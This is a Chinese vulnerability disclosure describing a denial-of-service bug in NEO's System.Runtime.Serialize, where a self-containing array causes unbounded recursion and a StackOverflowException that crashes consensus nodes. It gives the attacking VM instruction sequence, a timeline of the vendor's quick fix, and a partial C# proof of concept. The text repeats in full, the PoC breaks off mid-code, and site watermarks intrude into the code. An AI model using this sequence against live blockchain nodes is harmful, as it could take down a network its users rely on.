neo智能合约平台Runtime_Serialize调用拒绝服务漏洞
NEO是一个非盈利的社区化的区块链项目。它是利用区块链技术和数字身份进行资产数字化，利用智能合约对数字资产进行自动化管理，实现“智能经济”的一种分布式网络。目前Neo市值在coinmarket上排名全球第十五，是备受关注的区块链项目之一。我们在neo智能合约平台中发现一处拒绝服务漏洞，攻击者可利用该漏洞在瞬间使得整个neo网络崩溃。
Neo智能合约平台为合约提供了序列化虚拟机栈上某个对象的系统调用System.Runtime.Serialize。该调用再处理合约请求时未考虑到数组嵌套等问题，将导致智能合约系统平台crash。由于Neo目前是有7个主节点负责验证并打包全网交易。恶意用户将利用该漏洞的恶意合约发布到neo网络中，7个主节点在解析运行该恶意合约时将引发崩溃，进而导致整个neo网络拒绝服务。漏洞细节如下：System.Runtime.Serialize系统调用会将用户可执行栈顶元素pop出来，然后调用SerializeStackItem函数进行序列化。SerializeStackItem函数内容如下：
大意是：当合约调用System.Runtime.Serialize系统调用的时候，会对pop出虚拟机栈上的第一个元素(参数StackItem item)，然后进行SerializeStackItem序列化操作,写到binarywriter writer中。SerializeStackItem判断该元素类型，然后进行不同的序列化操作。
其中StackItem有很多类型。如果是数组array类型的话。就会将array的大小和子元素全部再进行一次序列化操作。这里的array是neo自定义的类型。本质上是一个List。此处没有考虑攻击者可能将数组a作为子元素再加入到数组a中。即 a.Add(a)。如果此时再对a进行反序列化，则会进入无限循环。直到程序栈空间耗尽。触发栈溢出异常StackOverflowException。
实际上在Neo虚拟机代码中，我们可以看到虚拟机执行的外层已经对任意异常了捕捉，如下：
但该异常捕捉无法处理StackOverflowException异常。在.net中StackOverflowException 异常会导致整个进程退出，无法catch该异常。进而导致整个neo节点进程直接崩溃。攻击虚拟机指令： push(a), dup(), dup(), appen(), System.Runtime.Serialize()则可导致栈溢出异常，程序直接崩溃。【同理，stuct结构，map结构一样可以利用该漏洞】。
值得一提的是，在我们邮件给Neo官方通知漏洞后7分钟内。Neo创始人之一的Erik Zhang就直接回复邮件确认漏洞存在，并在一个小时内提交漏洞修复。效率相当之高。 官方的对该漏洞修复非常干净，通过增加一个序列化后元素的列表List来防止我们攻击中的这种迭代引用。详细见下图：
漏洞时间线
2018/8/15 15:00发现并测试漏洞2018/8/15 18:57邮件给Neo官方漏洞细节2018/8/15 19:04 Neo官方回复确认漏洞存在2018/8/15 20:00 Neo创始人Erik Zhang提交漏洞修复
PoC
1. using System;
2. using System.Collections.Generic;
3. using System.IO;
4. using System.Linq;
5. using System.Text;
6. using System.Threading.Tasks;
7. using Neo;
8. using Neo.IO;
9. using Neo.SmartContract;
10. using Neo.VM;
11. using Neo.VM.Types;
12. using VMArray = Neo.VM.Types.Array;
13. using VMBoolean = Neo.VM.Types.Boolean;
14.
15. namespace ConsoleApp2
16. {
17. class Program
18. {
19. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
20. {
21. switch (item)
22. {
23. case ByteArray _:
24. writer.WriteVarBytes(item.GetByteArray());
25. break;
26. case VMBoolean _:
27. writer.Write(item.GetBoolean());
28. break;
29. case Integer _:
30. writer.WriteVarBytes(item.GetByteArray());
31. break;
32. case InteropInterface _:
33. throw new NotSupportedException();
34. case VMArray array:
35. writer.WriteVarInt(array.Count);
36. foreach (StackItem subitem in array)
37. SerializeStackItem(subitem, writer);
38. break;
39. case Map map:
40. writer.WriteVarInt(map.Count);
41. foreach (var pair in map)
42. {
43. SerializeStackItem(pair.Key, writer);
44. SerializeStackItem(pair.Value, writer);
45. }
46. break;
47. }
48. }
49. static void Main(string[] args)
50. {
51. VMArray a,b;
52. a = new VMArray();
53. b = new VMArray();
54. a.Add(1);
55. b.Add(2);
56. MemoryStream ms = new MemoryStream();
57. BinaryWriter writer = new BinaryWriter(ms);
58.
59. RandomAccessStack Stack = new RandomAccessStack();
60. Stack.Push(a);
61. Stack.Push(Stack.Peek());
62. Stack.Push(Stack.Peek());
63. StackItem newItem = Stack.Pop();
64. StackItem arrItem = Stack.Pop();
65. if (arrItem is VMArray aray)
NEO是一个非盈利的社区化的区块链项目。它是利用区块链技术和数字身份进行资产数字化，利用智能合约对数字资产进行自动化管理，实现“智能经济”的一种分布式网络。目前Neo市值在coinmarket上排名全球第十五，是备受关注的区块链项目之一。我们在neo智能合约平台中发现一处拒绝服务漏洞，攻击者可利用该漏洞在瞬间使得整个neo网络崩溃。
Neo智能合约平台为合约提供了序列化虚拟机栈上某个对象的系统调用System.Runtime.Serialize。该调用再处理合约请求时未考虑到数组嵌套等问题，将导致智能合约系统平台crash。由于Neo目前是有7个主节点负责验证并打包全网交易。恶意用户将利用该漏洞的恶意合约发布到neo网络中，7个主节点在解析运行该恶意合约时将引发崩溃，进而导致整个neo网络拒绝服务。漏洞细节如下：System.Runtime.Serialize系统调用会将用户可执行栈顶元素pop出来，然后调用SerializeStackItem函数进行序列化。SerializeStackItem函数内容如下：
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大意是：当合约调用System.Runtime.Serialize系统调用的时候，会对pop出虚拟机栈上的第一个元素(参数StackItem item)，然后进行SerializeStackItem序列化操作,写到binarywriter writer中。SerializeStackItem判断该元素类型，然后进行不同的序列化操作。
其中StackItem有很多类型。如果是数组array类型的话。就会将array的大小和子元素全部再进行一次序列化操作。这里的array是neo自定义的类型。本质上是一个List。此处没有考虑攻击者可能将数组a作为子元素再加入到数组a中。即 a.Add(a)。如果此时再对a进行反序列化，则会进入无限循环。直到程序栈空间耗尽。触发栈溢出异常StackOverflowException。
实际上在Neo虚拟机代码中，我们可以看到虚拟机执行的外层已经对任意异常了捕捉，如下：
但该异常捕捉无法处理StackOverflowException异常。在.net中StackOverflowException 异常会导致整个进程退出，无法catch该异常。进而导致整个neo节点进程直接崩溃。攻击虚拟机指令： push(a), dup(), dup(), appen(), System.Runtime.Serialize()则可导致栈溢出异常，程序直接崩溃。【同理，stuct结构，map结构一样可以利用该漏洞】。
www.wnhack.com
值得一提的是，在我们邮件给Neo官方通知漏洞后7分钟内。Neo创始人之一的Erik Zhang就直接回复邮件确认漏洞存在，并在一个小时内提交漏洞修复。效率相当之高。 官方的对该漏洞修复非常干净，通过增加一个序列化后元素的列表List来防止我们攻击中的这种迭代引用。详细见下图：
漏洞时间线
2018/8/15 15:00发现并测试漏洞2018/8/15 18:57邮件给Neo官方漏洞细节2018/8/15 19:04 Neo官方回复确认漏洞存在2018/8/15 20:00 Neo创始人Erik Zhang提交漏洞修复
PoC
1. using System;
2. using System.Collections.Generic;
3. using System.IO;
4. using System.Linq;
5. using System.Text;
6. using System.Threading.Tasks;
7. using Neo;
8. using Neo.IO;
9. using Neo.SmartContract;
10. using Neo.VM;
11. using Neo.VM.Types;
12. using VMArray = Neo.VM.Types.Array; www.wnhack.com
13. using VMBoolean = Neo.VM.Types.Boolean;
14.
15. namespace ConsoleApp2
16. {
17. class Program
18. {
19. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
20. {
21. switch (item)
22. {
23. case ByteArray _:
24. writer.WriteVarBytes(item.GetByteArray());
25. break;
26. case VMBoolean _:
27. writer.Write(item.GetBoolean());
28. break;
29. case Integer _:
30. writer.WriteVarBytes(item.GetByteArray());
31. break;
32. case InteropInterface _:
33. throw new NotSupportedException();
34. case VMArray array:
35. writer.WriteVarInt(array.Count);
36. foreach (StackItem subitem in array)
37. SerializeStackItem(subitem, writer);
38. break;
39. case Map map:
40. writer.WriteVarInt(map.Count);
41. foreach (var pair in map)
42. {
43. SerializeStackItem(pair.Key, writer);
44. SerializeStackItem(pair.Value, writer);
45. }
46. break;
47. }
48. }
49. static void Main(string[] args)
50. {
51. VMArray a,b;
52. a = new VMArray();
53. b = new VMArray();
54. a.Add(1);
55. b.Add(2);
56. MemoryStream ms = new MemoryStream();
57. BinaryWriter writer = new BinaryWriter(ms);
58.
59. RandomAccessStack Stack = new RandomAccessStack();
60. Stack.Push(a);
61. Stack.Push(Stack.Peek());
62. Stack.Push(Stack.Peek());
63. StackItem newItem = Stack.Pop();
64. StackItem arrItem = Stack.Pop();
65. if (arrItem is VMArray aray)
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